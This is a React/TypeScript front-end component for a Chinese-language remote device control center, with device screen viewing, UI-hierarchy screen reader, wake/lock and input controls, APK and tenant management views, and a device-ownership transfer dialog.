            background: 'var(--md-surface)',
            display: 'flex',
            flexDirection: 'column'
          }}>
            <APKManager serverUrl={serverUrl || (() => {
              // 判断hostname是否为IP地址
              const isIPAddress = (hostname: string): boolean => {
                const ipv4Regex = /^(\d{1,3}\.){3}\d{1,3}$/
                const ipv6Regex = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$/
                return ipv4Regex.test(hostname) || ipv6Regex.test(hostname)
              }
              const isIP = isIPAddress(window.location.hostname)
              return isIP 
                ? `${window.location.protocol}//${window.location.hostname}:3001`
                : `${window.location.protocol}//${window.location.hostname}`
            })()} />
          </div>
        ) : null
      case 'tenant':
        return canManageTenant ? (
          <TenantManagement />
        ) : (
          <div style={{
            padding: '24px',
            flex: 1,
            background: 'var(--md-surface-container-lowest)',
            display: 'flex',
            alignItems: 'center',
            justifyContent: 'center',
            flexDirection: 'column',
            gap: '12px'
          }}>
            <TeamOutlined style={{ fontSize: '56px', color: 'var(--md-outline-variant)' }} />
            <div style={{ fontSize: '16px', color: 'var(--md-on-surface-variant)' }}>当前角色无租户管理权限</div>
          </div>
        )
      case 'settings':
        return (
          <div style={{
            padding: '24px',
            flex: 1,
            background: 'var(--md-surface-container-lowest)',
            display: 'flex',
            alignItems: 'center',
            justifyContent: 'center',
            flexDirection: 'column',
            gap: '12px'
          }}>
            <SettingOutlined style={{ fontSize: '56px', color: 'var(--md-outline-variant)' }} />
            <div style={{ fontSize: '16px', color: 'var(--md-on-surface-variant)' }}>设置功能开发中...</div>
          </div>
        )
      default:
        return null
    }
  }

  const getConnectionStatusColor = () => {
    switch (connectionStatus) {
      case 'connected':
        return 'var(--md-success)'
      case 'connecting':
        return 'var(--md-primary)'
      case 'disconnected':
        return 'var(--md-error)'
      case 'error':
        return 'var(--md-error)'
      default:
        return 'var(--md-outline)'
    }
  }

  const getConnectionStatusText = () => {
    switch (connectionStatus) {
      case 'connected':
        return '已连接'
      case 'connecting':
        return autoConnectAttempted && !serverUrl ? '自动连接中' : '连接中'
      case 'disconnected':
        return '未连接'
      case 'error':
        return '连接错误'
      default:
        return '未知状态'
    }
  }

  // 独立渲染页：当 URL 带有 controlDeviceId 并已解析到设备
  if (standaloneControlDeviceId && selectedDeviceForModal) {
    // 设置浏览器标签标题：优先显示备注，没有备注则显示设备名称
    const title = selectedDeviceForModal.remark || selectedDeviceForModal.name || '设备控制'
    try {
      document.title = title
    } catch { }
    return (
      <div className="standalone-control-page">
        {/* 左侧屏幕区域 - 自适应视口高度 */}
        <div className="control-screen-area">
          {/* 工具条 */}
          <div className="control-toolbar">
            <div style={{ display: 'flex', alignItems: 'center', gap: 6, flexWrap: 'wrap' }}>
              {(() => {
                const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                const srEnabled = !!current?.screenReader?.enabled
                return (
                  <>
                    <Button
                      size="small"
                      type={srEnabled ? 'default' : 'primary'}
                      icon={<NodeIndexOutlined />}
                      onClick={() => {
                        if (!selectedDeviceForModal?.id) return
                        const enabledNow = !!connectedDevices.find(d => d.id === selectedDeviceForModal.id)?.screenReader?.enabled
                        if (enabledNow) {
                          dispatch(disableDeviceScreenReader(selectedDeviceForModal.id))
                          message.success('已禁用屏幕阅读器')
                        } else {
                          dispatch(enableDeviceScreenReader(selectedDeviceForModal.id))
                          message.success('已启用屏幕阅读器')
                          if (webSocket) {
                            webSocket.emit('client_event', {
                              type: 'GET_UI_HIERARCHY',
                              data: {
                                deviceId: selectedDeviceForModal.id,
                                requestId: `ui_hierarchy_${Date.now()}`,
                                includeInvisible: true,
                                includeNonInteractive: true,
                                maxDepth: 25,
                                enhanced: true,
                                includeDeviceInfo: true
                              }
                            })
                          }
                        }
                      }}
                    >
                      {srEnabled ? '禁用阅读器' : '启用阅读器'}
                    </Button>
                    <Button
                      size="small"
                      type={current?.screenReader?.showVirtualKeyboard ? 'primary' : 'dashed'}
                      onClick={() => {
                        if (!selectedDeviceForModal?.id) return
                        const newVal = !current?.screenReader?.showVirtualKeyboard
                        dispatch(updateDeviceScreenReaderConfig({
                          deviceId: selectedDeviceForModal.id,
                          config: { showVirtualKeyboard: newVal }
                        }))
                        message.success(newVal ? '虚拟按键已显示' : '虚拟按键已隐藏')
                      }}
                    >
                      {current?.screenReader?.showVirtualKeyboard ? '隐藏按键' : '虚拟按键'}
                    </Button>
                  </>
                )
              })()}
            </div>

            <div style={{ display: 'flex', alignItems: 'center', gap: 6, flexWrap: 'wrap' }}>
              <Button size="small" type="primary" onClick={() => {
                if (!webSocket) { message.error('WebSocket未连接'); return }
                webSocket.emit('control_message', { type: 'POWER_WAKE', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() })
                message.success('已发送点亮屏幕')
              }}>点亮</Button>
              <Button size="small" danger onClick={() => {
                if (!webSocket) { message.error('WebSocket未连接'); return }
                webSocket.emit('control_message', { type: 'POWER_SLEEP', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() })
                message.success('已发送锁定屏幕')
              }}>锁定</Button>
              <Button
                size="small"
                icon={<PlayCircleOutlined />}
                onClick={() => triggerOverclockMode(selectedDeviceForModal.id)}
                style={{
                  background: getDeviceVideoMode(selectedDeviceForModal?.id) === 'webrtc_boost'
                    ? 'var(--md-primary)'
                    : 'var(--md-success)',
                  borderColor: getDeviceVideoMode(selectedDeviceForModal?.id) === 'webrtc_boost'
                    ? 'var(--md-primary)'
                    : 'var(--md-success)',
                  color: 'var(--md-on-primary)'
                }}
              >
                {getDeviceVideoMode(selectedDeviceForModal?.id) === 'webrtc_boost'
                  ? '退出超频'
                  : getDeviceVideoMode(selectedDeviceForModal?.id) === 'fallback_ws'
                    ? '重试超频'
                    : '超频模式'}
              </Button>
              <Button size="small" icon={<StopOutlined />} onClick={() => {
                if (!webSocket) { message.error('WebSocket未连接'); return }
                webSocket.emit('control_message', { type: 'SCREEN_CAPTURE_PAUSE', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() })
                message.success('已发送关闭屏幕捕获指令')
              }} style={{ background: 'var(--md-warning)', borderColor: 'var(--md-warning)', color: 'var(--md-on-primary)' }}>关闭捕获</Button>
            </div>
          </div>

          {/* 屏幕+阅读器水平布局 */}
          <div className="screen-reader-row">
            {/* 屏幕阅读器 - 仅启用时显示 */}
            {(() => {
              const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
              const srEnabled = !!current?.screenReader?.enabled
              return srEnabled ? (
                <div className="screen-reader-panel">
                  <div style={{ flex: 1, minHeight: 0, position: 'relative', overflow: 'hidden' }}>
                    <ScreenReader
                      deviceId={selectedDeviceForModal.id}
                      maxHeight={undefined}
                    />
                  </div>
                  {/* 文本输入 */}
                  <div className="text-input-bar">
                    <span style={{ color: 'var(--md-on-surface-variant)', fontSize: '12px', whiteSpace: 'nowrap' }}>输入:</span>
                    <input
                      type="text"
                      placeholder={operationEnabled ? "输入文本内容" : "操作已禁用"}
                      value={textInput}
                      onChange={(e) => setTextInput(e.target.value)}
                      onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }}
                      disabled={!operationEnabled}
                    />
                    <button onClick={handleTextInput} disabled={!textInput.trim() || !operationEnabled}>发送</button>
                  </div>
                </div>
              ) : null
            })()}

            {/* 设备屏幕 */}
            <div className="device-screen-panel" style={{
              width: (() => {
                const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                return current?.screenReader?.enabled ? '50%' : '100%'
              })()
            }}>
              <div style={{ flex: 1, minHeight: 0, position: 'relative', overflow: 'hidden', display: 'flex', alignItems: 'stretch', justifyContent: 'stretch' }}>
                <DeviceScreen
                  deviceId={selectedDeviceForModal.id}
                />
              </div>
              {/* 文本输入 - 阅读器未启用时显示在屏幕下方 */}
              {(() => {
                const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                return !current?.screenReader?.enabled ? (
                  <div className="text-input-bar">
                    <span style={{ color: 'var(--md-on-surface-variant)', fontSize: '12px', whiteSpace: 'nowrap' }}>输入:</span>
                    <input
                      type="text"
                      placeholder={operationEnabled ? "输入文本内容" : "操作已禁用"}
                      value={textInput}
                      onChange={(e) => setTextInput(e.target.value)}
                      onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }}
                      disabled={!operationEnabled}
                    />
                    <button onClick={handleTextInput} disabled={!textInput.trim() || !operationEnabled}>发送</button>
                  </div>
                ) : null
              })()}
              {/* 系统按键 */}
              <div className="system-keys-bar">
                <Button icon={<ArrowLeftOutlined />} onClick={() => handleSystemKey('BACK')}>返回</Button>
                <Button icon={<HomeOutlined />} onClick={() => handleSystemKey('HOME')}>主页</Button>
                <Button icon={<AppstoreOutlined />} onClick={() => handleSystemKey('RECENTS')}>任务</Button>
              </div>
            </div>
          </div>

          {/* 底部状态栏 */}
          {selectedDeviceForModal.screenReader?.enabled && (
            <div className="screen-reader-status-bar">
              屏幕阅读器已启用 | 每{selectedDeviceForModal.screenReader?.refreshInterval || 5}秒自动刷新
            </div>
          )}
        </div>

        {/* 右侧控制面板 */}
        <div className="control-panel-area">
          <div className="control-panel-header">
            <ControlOutlined style={{ color: 'var(--md-primary)' }} />
            <span>控制面板</span>
          </div>
          <div className="control-panel-body">
            <ControlPanel deviceId={selectedDeviceForModal.id} />
          </div>
        </div>
      </div>
    )
  }

  return (
    <Layout className="app-layout">
      {/* 顶部导航栏 */}
      <Header className="app-header">
        <div style={{ display: 'flex', alignItems: 'center', gap: '16px' }}>
          <Button
            type="text"
            icon={menuCollapsed ? <MenuUnfoldOutlined /> : <MenuFoldOutlined />}
            onClick={() => setMenuCollapsed(!menuCollapsed)}
            style={{ color: 'var(--md-on-surface)', fontSize: '16px' }}
          />
          <h1 style={{
            color: 'var(--md-on-surface)',
            margin: 0,
            fontSize: isMobile ? '15px' : '18px',
            fontWeight: 600,
            letterSpacing: '0.5px'
          }}>
            {isMobile ? '远程控制' : '远程控制中心'}
          </h1>
        </div>

        <div style={{ display: 'flex', alignItems: 'center', gap: isMobile ? '8px' : '16px' }}>
          {/* 在线设备统计（从 renderContent 迁移到 Header） */}
          <div style={{ display: 'flex', alignItems: 'center', gap: '6px', color: 'var(--md-on-surface)' }}>
            <Badge
              count={connectedDevices.filter(d => d.status === 'online').length}
              style={{ backgroundColor: 'var(--md-success)' }}
            />
            {!isMobile && (
              <span style={{ fontSize: '12px', color: 'var(--md-on-surface-variant)' }}>
                在线设备
              </span>
            )}
          </div>
          <div style={{
            display: window.innerWidth < 480 ? 'none' : 'flex',
            alignItems: 'center',
            gap: '8px',
            color: 'var(--md-on-surface)',
            fontSize: '12px'
          }}>
            <div style={{
              width: '8px',
              height: '8px',
              borderRadius: '50%',
              background: getConnectionStatusColor(),
              animation: connectionStatus === 'connecting' ? 'pulse 1.5s infinite' : 'none'
            }} />
            {isMobile ? getConnectionStatusText().slice(0, 2) : getConnectionStatusText()}
            {connectionStatus === 'connected' && serverUrl && !isMobile && (
              <div style={{ fontSize: '10px', opacity: 0.8 }}>
                {/* {new URL(serverUrl).host} */}
              </div>
            )}
          </div>

          <Button
            type="primary"
            size={isMobile ? 'small' : 'middle'}
            icon={connectionStatus === 'connected' ? <DisconnectOutlined /> : <WifiOutlined />}
            onClick={() => setConnectDialogVisible(true)}
            style={{
              background: 'var(--md-primary)',
              borderColor: 'var(--md-primary)',
              color: 'var(--md-on-primary)'
            }}
          >
            {isMobile ?
              (connectionStatus === 'connected' ? '重连' : '连接') :
              (connectionStatus === 'connected' ? '重新连接' : '连接服务器')
            }
          </Button>

          {/* 用户菜单 */}
          <Dropdown
            menu={{
              items: [
                {
                  key: 'user-info',
                  label: (
                    <div style={{ padding: '8px 0', borderBottom: '1px solid var(--md-outline-variant)' }}>
                      <div style={{ fontWeight: 500, color: 'var(--md-on-surface)' }}>
                        {currentUser?.username || 'Unknown'}
                      </div>
                      <div style={{ fontSize: '12px', color: 'var(--md-on-surface-variant)' }}>
                        {currentRoleLabel}{currentUser?.groupName ? ` · ${currentUser.groupName}` : ''}
                      </div>
                    </div>
                  ),
                  disabled: true
                },
                {
                  type: 'divider'
                },
                {
                  key: 'logout',
                  label: '退出登录',
                  icon: <LogoutOutlined />
                }
              ],
              onClick: ({ key }) => {
                console.log('[Auth] 用户菜单点击:', key)
                if (key === 'logout') {
                  console.log('[Auth] 触发登出操作')
                  handleLogout()
                }
              }
            }}
            placement="bottomRight"
            arrow
          >
            <Button
              type="text"
              size={isMobile ? 'small' : 'middle'}
              style={{
                color: 'var(--md-on-surface)',
                display: 'flex',
                alignItems: 'center',
                gap: '4px',
                background: 'var(--md-surface-container)',
                border: '1px solid var(--md-outline-variant)'
              }}
            >
              <UserOutlined />
              {!isMobile && <span>{currentUser?.username || 'User'}</span>}
              <DownOutlined style={{ fontSize: '10px' }} />
            </Button>
          </Dropdown>
        </div>
      </Header>

      {/* 移动端遮罩层 */}
      {isMobile && !menuCollapsed && (
        <div
          className="mobile-overlay"
          onClick={() => setMenuCollapsed(true)}
        />
      )}

      {/* 主布局 */}
      <Layout style={{ display: 'flex', flex: 1 }}>
        {/* 侧边菜单栏 */}
        <Sider
          collapsible
          collapsed={menuCollapsed}
          onCollapse={setMenuCollapsed}
          width={220}
          collapsedWidth={isMobile ? 0 : 64}
          className="app-sider"
          style={{
            zIndex: isMobile ? 1000 : 'auto',
            position: isMobile ? 'fixed' : 'relative',
            height: isMobile ? '100vh' : 'auto',
            left: isMobile && menuCollapsed ? '-220px' : '0',
            transition: 'left 0.3s ease'
          }}
          trigger={null}
          breakpoint="lg"
          onBreakpoint={(broken) => {
            if (broken && isMobile) {
              setMenuCollapsed(true)
            }
          }}
        >
          <div style={{
            padding: '16px',
            borderBottom: '1px solid var(--md-outline-variant)',
            textAlign: 'center'
          }}>
            {!menuCollapsed && (
              <div style={{ color: 'var(--md-on-surface-variant)', fontSize: '14px' }}>
                功能导航
              </div>
            )}
          </div>

          <Menu
            mode="inline"
            selectedKeys={[currentView]}
            style={{
              borderRight: 0,
              background: 'transparent'
            }}
            items={menuItems}
            onClick={(e) => setCurrentView(e.key)}
          />
        </Sider>

        {/* 主内容区域 */}
        <Layout style={{ background: 'var(--md-surface)', flex: 1 }}>
          <Content className="app-content">
            {renderContent()}
          </Content>
        </Layout>
      </Layout>

      {/* 连接对话框 */}
      <ConnectDialog
        visible={connectDialogVisible}
        onConnect={handleConnect}
        onCancel={() => {
          if (connectionStatus === 'connected') {
            setConnectDialogVisible(false)
          }
        }}
      />

      {/* 设备控制弹框 - 左右分屏模式 */}
      {!standaloneControlDeviceId && (
        <Modal
          title={
            <div style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
              <ControlOutlined style={{ color: 'var(--md-primary)' }} />
              <span>设备控制 - {selectedDeviceForModal?.name}</span>
              <Tag color={selectedDeviceForModal?.status === 'online' ? 'success' : 'default'}>
                {selectedDeviceForModal?.status === 'online' ? '在线' : '离线'}
              </Tag>
            </div>
          }
          open={screenModalVisible}
          onCancel={() => {
            setScreenModalVisible(false)
          }}
          footer={null}
          width="95vw"
          style={{ top: 10 }}
          styles={{
            body: {
              padding: 0,
              height: '85vh',
              maxHeight: '90vh',
              overflow: 'hidden'
            }
          }}
          destroyOnHidden
        >
          {selectedDeviceForModal && (
            <div className="modal-control-layout">
              {/* 左侧屏幕区域 */}
              <div className="control-screen-area">
                {/* 工具条 */}
                <div className="control-toolbar">
                  <div style={{ display: 'flex', alignItems: 'center', gap: 6, flexWrap: 'wrap' }}>
                    {(() => {
                      const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                      const srEnabled = !!current?.screenReader?.enabled
                      return (
                        <>
                          <Button size="small" type={srEnabled ? 'default' : 'primary'} icon={<NodeIndexOutlined />}
                            onClick={() => {
                              if (!selectedDeviceForModal?.id) return
                              const enabledNow = !!connectedDevices.find(d => d.id === selectedDeviceForModal.id)?.screenReader?.enabled
                              if (enabledNow) {
                                dispatch(disableDeviceScreenReader(selectedDeviceForModal.id))
                                message.success('已禁用屏幕阅读器')
                              } else {
                                dispatch(enableDeviceScreenReader(selectedDeviceForModal.id))
                                message.success('已启用屏幕阅读器')
                                if (webSocket) {
                                  webSocket.emit('client_event', { type: 'GET_UI_HIERARCHY', data: { deviceId: selectedDeviceForModal.id, requestId: `ui_hierarchy_${Date.now()}`, includeInvisible: true, includeNonInteractive: true, maxDepth: 25, enhanced: true, includeDeviceInfo: true } })
                                }
                              }
                            }}
                          >{srEnabled ? '禁用阅读器' : '启用阅读器'}</Button>
                          <Button size="small" type={current?.screenReader?.showVirtualKeyboard ? 'primary' : 'dashed'}
                            onClick={() => {
                              if (!selectedDeviceForModal?.id) return
                              const newVal = !current?.screenReader?.showVirtualKeyboard
                              dispatch(updateDeviceScreenReaderConfig({ deviceId: selectedDeviceForModal.id, config: { showVirtualKeyboard: newVal } }))
                              message.success(newVal ? '虚拟按键已显示' : '虚拟按键已隐藏')
                            }}
                          >{current?.screenReader?.showVirtualKeyboard ? '隐藏按键' : '虚拟按键'}</Button>
                        </>
                      )
                    })()}
                  </div>
                  <div style={{ display: 'flex', alignItems: 'center', gap: 6 }}>
                    <Button size="small" type="primary" onClick={() => {
                      if (!webSocket) { message.error('WebSocket未连接'); return }
                      webSocket.emit('control_message', { type: 'POWER_WAKE', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() })
                      message.success('已发送点亮屏幕')
                    }}>点亮</Button>
                    <Button size="small" danger onClick={() => {
                      if (!webSocket) { message.error('WebSocket未连接'); return }
                      webSocket.emit('control_message', { type: 'POWER_SLEEP', deviceId: selectedDeviceForModal.id, data: {}, timestamp: Date.now() })
                      message.success('已发送锁定屏幕')
                    }}>锁定</Button>
                  </div>
                </div>

                {/* 屏幕+阅读器 */}
                <div className="screen-reader-row">
                  {(() => {
                    const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                    const srEnabled = !!current?.screenReader?.enabled
                    return srEnabled ? (
                      <div className="screen-reader-panel">
                        <div style={{ flex: 1, minHeight: 0, position: 'relative', overflow: 'hidden' }}>
                          <ScreenReader deviceId={selectedDeviceForModal.id} maxHeight={undefined} />
                        </div>
                        <div className="text-input-bar">
                          <span style={{ color: 'var(--md-on-surface-variant)', fontSize: '12px', whiteSpace: 'nowrap' }}>输入:</span>
                          <input type="text" placeholder={operationEnabled ? "输入文本内容" : "操作已禁用"} value={textInput}
                            onChange={(e) => setTextInput(e.target.value)}
                            onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }}
                            disabled={!operationEnabled} />
                          <button onClick={handleTextInput} disabled={!textInput.trim() || !operationEnabled}>发送</button>
                        </div>
                      </div>
                    ) : null
                  })()}
                  <div className="device-screen-panel" style={{
                    width: (() => {
                      const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                      return current?.screenReader?.enabled ? '50%' : '100%'
                    })()
                  }}>
                    <div style={{ flex: 1, minHeight: 0, position: 'relative', overflow: 'hidden', display: 'flex', alignItems: 'stretch', justifyContent: 'stretch' }}>
                      <DeviceScreen deviceId={selectedDeviceForModal.id} />
                    </div>
                    {(() => {
                      const current = connectedDevices.find(d => d.id === selectedDeviceForModal.id)
                      return !current?.screenReader?.enabled ? (
                        <div className="text-input-bar">
                          <span style={{ color: 'var(--md-on-surface-variant)', fontSize: '12px', whiteSpace: 'nowrap' }}>输入:</span>
                          <input type="text" placeholder={operationEnabled ? "输入文本内容" : "操作已禁用"} value={textInput}
                            onChange={(e) => setTextInput(e.target.value)}
                            onKeyPress={(e) => { if (e.key === 'Enter') handleTextInput() }}
                            disabled={!operationEnabled} />
                          <button onClick={handleTextInput} disabled={!textInput.trim() || !operationEnabled}>发送</button>
                        </div>
                      ) : null
                    })()}
                    <div className="system-keys-bar">
                      <Button icon={<ArrowLeftOutlined />} onClick={() => handleSystemKey('BACK')}>返回</Button>
                      <Button icon={<HomeOutlined />} onClick={() => handleSystemKey('HOME')}>主页</Button>
                      <Button icon={<AppstoreOutlined />} onClick={() => handleSystemKey('RECENTS')}>任务</Button>
                    </div>
                  </div>
                </div>

                {selectedDeviceForModal.screenReader?.enabled && (
                  <div className="screen-reader-status-bar">
                    屏幕阅读器已启用 | 每{selectedDeviceForModal.screenReader?.refreshInterval || 5}秒自动刷新
                  </div>
                )}
              </div>

              {/* 右侧控制面板 */}
              <div className="control-panel-area">
                <div className="control-panel-header">
                  <ControlOutlined style={{ color: 'var(--md-primary)' }} />
                  <span>控制面板</span>
                </div>
                <div className="control-panel-body">
                  <ControlPanel deviceId={selectedDeviceForModal.id} />
                </div>
              </div>
            </div>
          )}
        </Modal>
      )}


      {/* 转设备弹窗 */}
      <Modal
        title="转移设备归属"
        open={transferModalVisible}
        onCancel={() => {
          setTransferModalVisible(false)
          setTransferTargetUserId('')
          setTransferringDevice(null)
          setTransferTargets([])
        }}
        footer={[
          <Button key="cancel" onClick={() => {
            setTransferModalVisible(false)
            setTransferTargetUserId('')
            setTransferringDevice(null)
            setTransferTargets([])
          }}>
            取消
          </Button>,
          <Button
            key="confirm"
            type="primary"
            onClick={handleConfirmTransfer}
            loading={transferring}
            disabled={!transferTargetUserId}
          >
            确认转移
          </Button>
        ]}
        width={500}
      >
        <div style={{ padding: '16px 0' }}>
          <p style={{ marginBottom: 16, color: 'var(--md-on-surface-variant)' }}>
            你正在转移设备 <strong>{transferringDevice?.name}</strong> 的归属。转移后，原归属用户将失去该设备控制权限。
          </p>
          <Select
            placeholder="请选择目标用户"
            value={transferTargetUserId || undefined}
            onChange={(value) => setTransferTargetUserId(value)}
            style={{ width: '100%', marginBottom: 16 }}
            options={transferTargets.map((item) => ({
              value: item.id,
              label: `${item.username}${item.groupName ? ` (${item.groupName})` : ''}`
            }))}
            showSearch
            optionFilterProp="label"
          />
          <div style={{
            padding: '12px',
            background: 'var(--md-surface-container-low)',
            border: '1px solid var(--md-outline-variant)',
            borderRadius: '6px',
            fontSize: '12px',
            color: 'var(--md-on-surface-variant)'
          }}>
            <strong>注意事项：</strong>
            <ul style={{ margin: '8px 0 0 0', paddingLeft: '20px' }}>
              <li>superadmin 可跨组转移；leader 和 member 仅可组内转移</li>
              <li>member 只能转移自己名下设备</li>
              <li>设备离线也可以转移，重连后会按新归属生效</li>
            </ul>
          </div>
        </div>
      </Modal>
    </Layout>
  )
}

export default RemoteControlApp 

